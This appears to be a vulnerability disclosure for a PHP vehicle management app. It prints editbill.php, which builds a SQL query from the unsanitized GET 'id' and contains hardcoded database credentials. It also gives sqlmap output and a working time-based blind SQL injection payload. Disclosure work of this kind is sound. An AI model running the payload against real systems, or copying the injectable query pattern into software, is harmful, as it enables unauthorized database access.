

Vehicle Management System editbill.php has Sqlinjection

Vehicle Management System editbill.php has Sqlinjection, The basic introduction of this vulnerability is that SQL injection means that the web application does not judge or filter the validity of user input data strictly. An attacker can add additional SQL statements to the end of the predefined query statements in the web application to achieve illegal operations without the administrator's knowledge, so as to cheat the database server to execute unauthorized arbitrary queries and further obtain the corresponding data information.

Code

```
editbill.php
<?php
    $id= $_GET['id'];

    $conn=mysqli_connect('localhost','veh','123456','veh');
    $sql="SELECT * FROM bill WHERE id='$id'";
    $result=mysqli_query($conn,$sql);

    $std=mysqli_fetch_assoc($result);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <!-- The above 3 meta tags *must* come first in the head; any other head content must come *after* these tags -->
    <title>Welcome</title>

    <!-- Bootstrap -->
    <link href="css/bootstrap.min.css" rel="stylesheet">

    <!-- HTML5 shim and Respond.js for IE8 support of HTML5 elements and media queries -->
    <!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
    <!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
        <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script>
    <![endif]-->
</head>
<body>

    <br><br><br>
    <?php include 'navbar.php';?>

    <div class="container">
        <div class="row">
            <div class="col-md-2">
                <a class="btn btn-info" href="index.php">Bill List</a>
            </div>
            <div class="col-md-8">
                <h2>Edit bill</h2>
                <hr>

                <form action="updatebill.php?id=<?php echo '$id'.'$bill_id'; ?>" method="POST">

                    <div class="form-group">
                        <label for="name">ID :</label>
                        <input required type="text" class="form-control" name="id" placeholder="vehicle id" value="<?php echo $std['id']; ?>" />
                    </div>

                    <div class="form-group">
                        <label for="name">Name :</label>
                        <input required type="text" class="form-control" name="name" placeholder="vehicle name" value="<?php echo $std['name']; ?>" />
                    </div>

                    <div class="form-group">
                        <label for="name">Model :</label>
                        <input required type="text" class="form-control" name="model" placeholder="vehicle model" value="<?php echo $std['model']; ?>" />
                    </div>

                    <div class="form-group">
                        <label for="name">Color :</label>
                        <input required type="text" class="form-control" name="color" placeholder="vehicle color" value="<?php echo $std['color']; ?>" />
                    </div>

                    <div class="form-group">
                        <label for="name">Price :</label>
                        <input required type="text" class="form-control" name="price" placeholder="vehicle price" value="<?php echo $std['price']; ?>" />
                    </div>

                    <div class="form-group">
                        <label for="name">Status :</label>
                        <input type="checkbox" name="status" value="1" /> Active
                        <input type="checkbox" name="status" value="0" /> Inactive
                    </div>

                    <div class="form-group">
                        <button type="submit" class="btn btn-primary">Update</button>
                    </div>
                </form>
            </div>
        </div>
    </div>
</body>
</html>
```

Sqlmap Attack

```
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values?
[Y/n] Y
[15:47:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:47:50] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other
(potential) technique found
[15:49:29] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: id (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 4326 FROM (SELECT(SLEEP(5)))xNaL) AND 'IMWe'='IMWe
---
[15:50:27] [INFO] the back-end DBMS is MySQL
[15:50:27] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent
potential disruptions
web application technology: PHP 7.3.4, Apache 2.4.39
back-end DBMS: MySQL >= 5.0.12
```

Payload

Parameter: id (GET)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: id=1' AND (SELECT 4326 FROM
(SELECT(SLEEP(5)))xNaL) AND 'IMWe'='IMWe
